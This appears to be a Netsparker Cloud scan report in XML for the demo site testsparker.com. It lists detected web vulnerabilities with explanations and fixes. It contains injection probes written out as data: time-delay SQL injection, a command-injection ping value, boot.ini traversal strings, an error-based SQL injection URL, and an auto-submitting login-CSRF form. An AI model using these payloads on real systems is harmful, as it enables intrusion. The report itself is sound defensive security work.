+ WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:34 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

\';netsparker(0x003D85);///

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

&ping -c 25 127.0.0.1 &

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+ + + +
12
+
+ + +
+
+ + + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud detected frame injection, which occurs when a frame on a vulnerable web page displays another web page via a user-controllable input.

]]>
+ An attacker might use this vulnerability to redirect users to other malicious websites that are used for phishing and similar attacks.]]> + + +
  • Where possible do not use users' input for URLs.
  • If you definitely need dynamic URLs, make a list of valid accepted URLs and do not accept other URLs.
  • Ensure that you only accept URLs which are located on accepted domains.
]]>
+ + ]]> + +
+ + http://testsparker.com/administrator/?r=%2fDashboard%2f + PossibleAdminFile + [Possible] Administration Page Detected + Information + 75 + False + Present + + A7 + 34 + 425 + 87 + 6.5.8 + 6.5.8 + 164.306(a), 164.308(a) + + + POST + + + + + + + + + + + + + 200 + 98,4901 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + + +

Login

+
+ +
(alan@turing.com) +
+ + + +
+
(theturingtest) +
+ +
+
+
+ +
+
+

Login Failed. Please try again.

+
+ + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud detected a possible administration page.

]]>
+ This issue is reported as additional information only. There is no direct impact arising from this issue.]]> + + + You should manually investigate the found URL.]]> + + + +
+ + http://testsparker.com/Products.aspx?pId=(select%20convert(int%2ccast(0x5f21403264696c656d6d61%20as%20varchar(8000)))%20from%20syscolumns) + MsSqlOutOfDate + Out-of-date Version (Microsoft SQL Server) + Important + 95 + False + Present + + A9 + + + 310 + 6.2 + 6.2 + + + + GET + + + + + + + 200 + 595,6166 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + +
+
+

+

+
Conversion failed when converting the varchar value '_!@2dilemma' to data type int.
+
+

+

Back to shop.

+
+
+ + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + + + Netsparker Cloud identified you are using an out-of-date version of Microsoft SQL.

]]>
+ Since this is an old version of the software, it may be vulnerable to attacks.]]> + + + Please upgrade your installation of Microsoft SQL Server to the latest stable version.]]> + + + +
+ + http://testsparker.com/WS_FTP.log + WSFTPLogFileIdentified + WS_FTP Log File Detected + Information + 100 + False + Present + + + 13 + 200 + 118 + + + + + + GET + + + + 200 + 95,4689 + 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.02.23 15:33 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.02.23 15:33 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.03.06 11:51 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.03.06 11:51 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.05.26 10:47 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.05.26 10:47 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.05.26 11:52 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.05.26 11:52 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.05.26 11:59 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.05.26 11:59 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG +2014.09.25 13:00 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt +2014.09.25 13:00 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG +2014.09.25 16:48 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\feedback.txt --> 194.27.200.2 /public_html/ie333/_private feedback.txt +2014.09.25 16:48 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie333\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie333/_private WS_FTP.LOG +2014.02.15 14:41 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\feedback.txt --> 194.27.200.2 /public_html/ie232/_private feedback.txt +2014.02.15 14:41 B C:\Documents and Settings\testsparker\My Documents\My Web Sites\ie232\_private\WS_FTP.LOG --> 194.27.200.2 /public_html/ie232/_private WS_FTP.LOG]]> + + + Netsparker Cloud detected a WS_FTP log file.

WS_FTP is an FTP client and it creates a log file named WS_FTP.Log, which contains sensitive information such as file names, internal paths, etc.

]]>
+ There is no direct impact, however this information can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.]]> + + + If it is a file required by the application, change its permissions to prevent public users from accessing it. If it is not, then remove it from the web server.]]> + + ]]> + +
+ + http://testsparker.com/Contact.aspx + GenericEmailDisclosure + Generic Email Address Disclosure + Information + 95 + False + Present + + + 13 + 200 + 118 + + + + + + POST + + + + + + + + + + + + 200 + 95,482 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + +

Contact

+

+ You can e-mail (mail@testsparker.com or sales@testsparker.com) us or fill out the following inquiry form. +

+ + + + + + + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified a generic email address disclosure.

]]>
+ Generic email addresses discovered within the application.]]> + + +

This is reported for informational purposes only.

You can use submission forms for this purpose to avoid automated email address harvesting tools.

]]>
+ + ]]> + +
+ + http://testsparker.com/statics/pear.sh + ShellScriptIdentified + Shell Script Detected + Information + 90 + False + Present + + + + + + + + + + + GET + + + + 200 + 89,2215 + + + + Netsparker Cloud detected a shell (bash) script on the target website.

]]>
+ This issue is reported as additional information only. There is no direct impact arising from this issue.]]> + + + You should manually investigate the found URL.]]> + + + +
+ + http://testsparker.com/Contact.aspx + PossibleDatabaseConnectionStringIdentified + [Possible] Database Connection String Detected + Information + 90 + False + Present + + A5 + 15 + 16 + + + + 164.306(a) + + + POST + + + + + + + + + + + + 200 + 95,482 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + +

Contact

+

+ You can e-mail (mail@testsparker.com or sales@testsparker.com) us or fill out the following inquiry form. +

+ + + + + + + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud detected a possible database connection string on your web server.

]]>
+ Depending on the nature of the connection string disclosed, an attacker can mount one or more of the following types of attacks:
  • Access the database or other data resources. With the privileges of the account obtained; attempt to read, update or delete arbitrary data from the database.
  • Access password protected administrative mechanisms such as "dashboard", "management console" and "admin panel" potentially leading to full control of the application.
]]>
+

Remove all the database connection strings on the public web pages.

]]>
+ + + + ]]> + +
+ + http://testsparker.com/ + OptionsMethodEnabled + OPTIONS Method Enabled + Information + 100 + True + Present + + A5 + 14 + 16 + 107 + + + + + + OPTIONS + + + + 200 + 100,0181 + + + + + + + Netsparker Cloud detected that OPTIONS method is allowed. This issue is reported as extra information.

]]>
+ Information disclosed from this page can be used to gain additional information about the target system.]]> + + + Disable OPTIONS method in all production systems.]]> + + ]]> + +
+ + http://testsparker.com/ + CsrfDetected + [Possible] Cross-site Request Forgery + Low + 90 + False + Present + + A8 + 9 + 352 + 62 + 6.5.9 + 6.5.9 + 164.306(a) + + + POST + + + + + + + + 200 + 95,0075 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud identified a possible Cross-Site Request Forgery.

CSRF is a very common vulnerability. It's an attack which forces a user to execute unwanted actions on a web application in which the user is currently authenticated.

]]>
+ Depending on the application, an attacker can mount any of the actions that can be done by the user such as adding a user, modifying content, deleting data. All the functionality that’s available to the victim can be used by the attacker. Only exception to this rule is a page that requires extra information that only the legitimate user can know (such as user’s password).]]> + + +
  • Send additional information in each HTTP request that can be used to determine whether the request came from an authorized source. This "validation token" should be hard to guess for attacker who does not already have access to the user's account. If a request is missing a validation token or the token does not match the expected value, the server should reject the request.

  • If you are posting form in ajax request, custom HTTP headers can be used to prevent CSRF because the browser prevents sites from sending custom HTTP headers to another site but allows sites to send custom HTTP headers to themselves using XMLHttpRequest.

    • For native XMLHttpRequest (XHR) object in JavaScript;
      xhr = new XMLHttpRequest();
      +xhr.setRequestHeader('custom-header', 'value');
      +
      For JQuery, if you want to add a custom header (or set of headers) to

      a. individual request

      $.ajax({
      +    url: 'foo/bar',
      +    headers: { 'x-my-custom-header': 'some value' }
      +});
      +


      b. every request

      $.ajaxSetup({
      +    headers: { 'x-my-custom-header': 'some value' }
      +});
      +OR
      +$.ajaxSetup({
      +    beforeSend: function(xhr) {
      +        xhr.setRequestHeader('x-my-custom-header', 'some value');
      +    }
      +});
      +
]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/administrator/?r=%2fDashboard%2f + CsrfInLoginFormDetected + [Possible] Cross-site Request Forgery in Login Form + Low + 90 + False + Present + + A8 + 9 + 352 + 62 + 6.5.9 + 6.5.9 + 164.306(a) + + + POST + + + + + + + + + + + + + 200 + 98,4901 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + + +

Login

+
+ +
(alan@turing.com) +
+ + + +
+
(theturingtest) +
+ +
+
+
+ +
+
+

Login Failed. Please try again.

+
+ + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified a possible Cross-Site Request Forgery in login form.

In a login CSRF attack, the attacker forges a login request to an honest site using the attacker’s user name and password at that site. If the forgery succeeds, the honest server responds with a Set-Cookie header that instructs the browser to mutate its state by storing a session cookie, logging the user into the honest site as the attacker. This session cookie is used to bind subsequent requests to the user’s session and hence to the attacker’s authentication credentials. The attacker can later log into the site with his legitimate credentials and view private information like activity history that has been saved in the account.

]]>
+

In this particular case CSRF affects the login form in which the impact of this vulnerability is decreased significantly. Unlike normal CSRF vulnerabilities this will only allow an attacker to exploit some complex XSS vulnerabilities otherwise it can't be exploited.

For example;

If there is a page that's different for every user (such as "edit my profile") and vulnerable to XSS (Cross-site Scripting) then normally it cannot be exploited. However if the login form is vulnerable, an attacker can prepare a special profile, force victim to login as that user which will trigger the XSS exploit. Again attacker is still quite limited with this XSS as there is no active session. However the attacker can leverage this XSS in many ways such as showing the same login form again but this time capturing and sending the entered username/password to the attacker.

In this kind of attack, attacker will send a link containing html as simple as the following in which attacker's user name and password is attached.

<form method="POST" action="http://honest.site/login">
+  <input type="text" name="user" value="h4ck3r" />
+  <input type="password" name="pass" value="passw0rd" />
+</form>
+<script>
+    document.forms[0].submit();
+</script>
+    

When the victim clicks the link then form will be submitted automatically to the honest site and exploitation is successful, victim will be logged in as the attacker and consequences will depend on the website behavior.

  • Search History

    Many sites allow their users to opt-in to saving their search history and provide an interface for a user to review his or her personal search history. Search queries contain sensitive details about the user’s interests and activities and could be used by the attacker to embarrass the user, to steal the user’s identity, or to spy on the user. Since the victim logs in as the attacker, the victim's search queries are then stored in the attacker’s search history, and the attacker can retrieve the queries by logging into his or her own account.

  • Shopping

    Merchant sites might save the credit card details in user's profile. In login CSRF attack, when user funds a purchase and enrolls the credit card, the credit card details might be added to the attacker's account.

]]>
+ + +
  • Send additional information in each HTTP request that can be used to determine whether the request came from an authorized source. This "validation token" should be hard to guess for attacker who does not already have access to the user's account. If a request is missing a validation token or the token does not match the expected value, the server should reject the request.

  • If you are posting form in ajax request, custom HTTP headers can be used to prevent CSRF because the browser prevents sites from sending custom HTTP headers to another site but allows sites to send custom HTTP headers to themselves using XMLHttpRequest.

    • For native XMLHttpRequest (XHR) object in JavaScript;
      xhr = new XMLHttpRequest();
      +xhr.setRequestHeader('custom-header', 'value');
      +
      For JQuery, if you want to add a custom header (or set of headers) to

      a. individual request

      $.ajax({
      +    url: 'foo/bar',
      +    headers: { 'x-my-custom-header': 'some value' }
      +});
      +


      b. every request

      $.ajaxSetup({
      +    headers: { 'x-my-custom-header': 'some value' }
      +});
      +OR
      +$.ajaxSetup({
      +    beforeSend: function(xhr) {
      +        xhr.setRequestHeader('x-my-custom-header', 'some value');
      +    }
      +});
      +
]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/Contact.aspx + InsecureFrameExternal + Insecure Frame (External) + Low + 100 + True + Present + + + + + + + + + + + POST + + + + + + + + + + + + 200 + 95,482 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + +

Contact

+

+ You can e-mail (mail@testsparker.com or sales@testsparker.com) us or fill out the following inquiry form. +

+ + + + + + + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified an external insecure or misconfigured iframe.

]]>
+

IFrame sandboxing enables a set of extra restrictions for the content in the inline frame.

Same Origin policy allows one window to access properties/functions of another one only if they come from the same protocol, the same port and also the same domain.
           
+URLs from the same origin:
+            
+http://site.com
+http://site.com/
+http://site.com/my/page.html
+        
+URLs not from the same origin:
+            
+http://www.site.com  (sub domain)
+http://site.org      (different domain)
+https://site.com     (different protocol)
+http://site.com:8080 (different port)
+    

When the sandbox attribute is set, the iframe content is treated as being from a unique origin and sandboxed content is re-hosted in the browser with the following restrictions:

  • Plugins are disabled. Any kind of ActiveX, Flash, or Silverlight plugin will not be executed.
  • Forms are disabled. The hosted content is not allowed to make forms post back to any target.
  • Scripts are disabled. JavaScript is disabled and will not execute.
  • Links to other browsing contexts are disabled. An anchor tag targeting different browser levels will not execute.
  • Unique origin treatment. All content is treated under a unique origin. The content is not able to traverse the DOM or read cookie information.

When not set or misconfigured sandbox or seamless attribute of an iframe for an untrusted URL:

  • Compromised website in the iframe might affect the users in parent web application.
  • Sandbox containing a value of :
    • allow-same-origin will not force the unique origin for iframe contents.
    • allow-top-navigation will allow iframe to navigate parent context, e.g. change parent.location.
    • allow-forms will allow forms submissions from inside iframe.
    • allow-popups will allow popups.
    • allow-scripts will allow malicious script execution however still disallow to create popups.
  • If seamless attribute is set, links within the iframe will navigate the parent frame.
]]>
+ + +
  • Apply sandboxing in inline frame
    <iframe sandbox src="framed-page-url"></iframe>
    +
  • For untrusted content, avoid the usage of seamless attribute and allow-top-navigation, allow-popups and allow-scripts in sandbox attribute.
]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/administrator/?r=%2fDashboard%2f + AutoCompleteEnabledPasswordField + Autocomplete Enabled (Password Field) + Information + 100 + True + Present + + A5 + 15 + 16 + + + + + + + POST + + + + + + + + + + + + + 200 + 98,4901 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + + +
+ +
+
+ + +
+
+ + + + + +

Login

+
+ +
(alan@turing.com) +
+ + + +
+
(theturingtest) +
+ +
+
+
+ +
+
+

Login Failed. Please try again.

+
+ + + + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud detected that autocomplete is enabled in one or more of the password fields.

]]>
+ If user chooses to save, data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers, such as cyber cafes or airport terminals.

]]>
+
  1. Add the attribute autocomplete="off" to the form tag or to individual "input" fields. However, since early 2014, major browsers don't respect this instruction, due to their integrated password management mechanism, and offer to users to store password internally.
  2. Re-scan the application after addressing the identified issues to ensure all of the fixes have been applied properly.
]]>
+ First and foremost, attacker needs either physical access or user-level code execution rights for successful exploitation. Dumping all data from a browser can be fairly easy, and a number of automated tools exist to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the autocomplete feature to see previously entered values.]]> + + + ]]> + +
+ + http://testsparker.com/ + MissingXFrameOptionsHeader + Missing X-Frame-Options Header + Low + 90 + False + Present + + A5 + + 693 + 103 + + + + + + POST + + + + + + + + 200 + 95,0075 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud detected a missing X-Frame-Options header which means that this website could be at risk of a clickjacking attack.

+

The X-Frame-Options HTTP header field indicates a policy that specifies whether the browser should render the transmitted resource within a frame or an iframe. Servers can declare this policy in the header of their HTTP responses to prevent clickjacking attacks, which ensures that their content is not embedded into other pages or frames.

]]>
+ +

Clickjacking is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on a framed page when they were intending to click on the top level page. Thus, the attacker is "hijacking" clicks meant for their page and routing them to other another page, most likely owned by another application, domain, or both.

+

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.

+]]>
+ + + +
    +
  • Sending the proper X-Frame-Options in HTTP response headers that instruct the browser to not allow framing from other domains. +
      +
    • X-Frame-Options: DENY  It completely denies to be loaded in frame/iframe.
    • +
    • X-Frame-Options: SAMEORIGIN It allows only if the site which wants to load has a same origin.
    • +
    • X-Frame-Options: ALLOW-FROM URL It grants a specific URL to load itself in a iframe. However please pay attention to that, not all browsers support this.
    • +
    +
  • +
  • Employing defensive code in the UI to ensure that the current frame is the most top level window.
  • +
+]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/*~1*%5ca.aspx?aspxerrorpath=/ + WindowsShortFilename + Windows Short Filename + Low + 100 + True + Present + + A7 + 34 + 425 + 87 + 6.5.8 + 6.5.8 + 164.306(a), 164.308(a) + + + OPTIONS + + + + + + + 404 + 93,7456 + + + + +404 - File or directory not found. + + + + +
+
+

404 - File or directory not found.

+

The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.

+
+
+ + +]]>
+
+ + Netsparker Cloud identified a Windows short file/folder name disclosure.

The vulnerability is caused by the tilde character (~) with the old DOS 8.3 name convention in an HTTP request. It allows a remote attacker to disclose file and folder names that is not supposed to be accessible.

]]>
+ Attackers could find important files that are normally not accessible from the outside and gain intelligence about the application infrastructure. This may cause the leakage of files containing sensitive information such as credentials, configuration files and maintenance scripts.]]> + + + In order to disable short names creation, add a registry key named NtfsDisable8dot3NameCreation to HKLM\SYSTEM\CurrentControlSet\Control\FileSystem and set its value to "1".]]> + ]]> + ]]> + +
+ + http://testsparker.com/ + JqueryOutOfDate + Out-of-date Version (jQuery) + Information + 90 + False + Present + + A9 + + + 310 + 6.2 + 6.2 + + + + POST + + + + + + + + 200 + 95,0075 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + + + Netsparker Cloud identified the target web site is using jQuery and detected that it is out of date.

]]>
+ Since this is an old version of the software, it may be vulnerable to attacks.]]> + + +

Please upgrade your installation of jQuery to the latest stable version.

]]>
+ ]]> + + +
+ + http://testsparker.com/ + MissingXssProtectionHeader + Missing X-XSS-Protection Header + Information + 100 + False + Present + + + + + + + + 164.308(a) + + + GET + + + + 200 + 187,5028 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + Netsparker Cloud detected a missing X-XSS-Protection header which means that this website could be at risk of a Cross-site Scripting (XSS) attacks.

]]>
+ This issue is reported as additional information only. There is no direct impact arising from this issue.]]> + + + Add the X-XSS-Protection header with a value of "1; mode= block".
  • X-XSS-Protection: 1; mode=block
]]>
+ + ]]> + +
+ + http://testsparker.com/ + SameSiteCookieNotImplemented + SameSite Cookie Not Implemented + Information + 100 + True + Present + + + + + + + + + + + POST + + + + + + + + 200 + 95,0075 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Cookies are typically sent to third parties in cross origin requests. This can be abused to do CSRF attacks. Recently a new cookie attribute named SameSite was proposed to disable third-party usage for some cookies, to prevent CSRF attacks.

Same-site cookies allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.

]]>
+ + + + The server can set a same-site cookie by adding the SameSite=... attribute to the Set-Cookie header:

Set-Cookie: key=value; SameSite=strict

There are two possible values for the same-site attribute:

  • Lax
  • Strict

In the strict mode, the cookie is not sent with any cross-site usage even if the user follows a link to another website. Lax cookies are only sent with a top-level get request.

]]>
+ + ]]> + +
+ + http://testsparker.com/About.aspx + ReverseTabnabbing + [Possible] Phishing by Navigating Browser Tabs + Low + 100 + False + Present + + A5 + + + + + + + + + POST + + + + + + + + 200 + 100,0078 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + +
+
+ + + + + +

About

+

+ Hello + visitor +

+

+ Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus. + + +

+Mission +
    +
  1. Inform users to protect them from common mistakes.
  2. +
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. +
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. +
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. +
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. +
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. +
  13. Remain a neutral informative resource about Bitcoin.
  14. +
+ + + +
+

Our Teams

+
+
    + +
+
+
+
+
+
+ +
+

Follow us

+ +
+ +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Opened windows through normal hrefs with target="_blank" can modify window.opener.location and replace the parent webpage with something else, even on a different origin.

While this doesn't allow script execution, it does allow phishing attacks that silently replace the parent tab.

]]>
+ If the links lack of rel="noopener noreferrer" attribute, third party site can change the URL of source tab using window.opener.location.assign and trick the user as if he is still in a trusted page and lead him to enter his secret information or credentials to this malicious copy.

]]>
+ + + To prevent pages from abusing window.opener, use rel=noopener. This ensures window.opener is null in Chrome 49 and Opera 36.

For older browsers and in Firefox, you could use rel=noreferrer which also disables the Referer HTTP header.

<a href="..." target="_blank" rel="noopener noreferrer">...</a>
]]>
+ + ]]> + +
+ + http://testsparker.com/ + SubResourceIntegrityNotImplemented + Subresource Integrity (SRI) Not Implemented + Information + 100 + False + Present + + + + + + + + + + + POST + + + + + + + + 200 + 95,0075 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system. +

+ + Instant peer-to-peer transactions
+ Worldwide payments
+ Zero or low processing fees
+
+
+


+

+



+ + + + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Subresource Integrity (SRI) provides a mechanism to check integrity of the resource hosted by third parties like Content Delivery Networks (CDNs) and verifies that the fetched resource has been delivered without unexpected manipulation.

SRI does this using hash comparison mechanism. In this way, hash value declared in HTML elements (for now only script and link elements are supported) will be compared with the hash value of the resource hosted by third party.

Use of SRI is recommended as a best-practice, whenever libraries are loaded from a third-party source.

]]>
+ + + + Using Subresource Integrity is simply to add integrity attribute to the script tag along with a base64 encoded cryptographic hash value.

<script src="https://code.jquery.com/jquery-2.1.4.min.js" integrity="sha384-R4/ztc4ZlRqWjqIuvf6RX5yb/v90qNGx6fS48N0tRxiGkqveZETq72KgDVJCp2TC" crossorigin="anonymous"></script>

The hash algorithm must be one of sha256, sha384 or sha512, followed by a '-' character.

]]>
+ + ]]> + +
+ + http://testsparker.com/Guestbook.aspx + BlindXss + Blind Cross-site Scripting + Important + 100 + True + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + POST + + + + + + + + + + + + 200 + 93,7558 + + + + Netsparker Cloud detected cross-site scripting via capturing a triggered DNS A request, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

]]>
+ There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.
]]>
+ + + The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.]]> + ]]> + ]]> + +
+ + http://testsparker.com/Guestbook.aspx + BlindXss + Blind Cross-site Scripting + Important + 100 + True + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + POST + + + + + + + + + + + + 200 + 93,7493 + + + + Netsparker Cloud detected cross-site scripting via capturing a triggered DNS A request, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

]]>
+ There are many different attacks that can be leveraged through the use of cross-site scripting, including:
  • Hijacking user's active session.
  • Mounting phishing attacks.
  • Intercepting data and performing man-in-the-middle attacks.
]]>
+ + + The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.]]> + ]]> + ]]> + +
+ + http://testsparker.com/ + CspNotImplemented + Content Security Policy (CSP) Not Implemented + Information + 100 + False + Present + + + + + + + + + + + GET + + + + 200 + 187,5028 + + + + + Bitcoin Web Site + + + + +
+
+ +
+ +
+ + +
+ +
+
+ + + +
+
+ + + +

Bitcoin Web Site

+

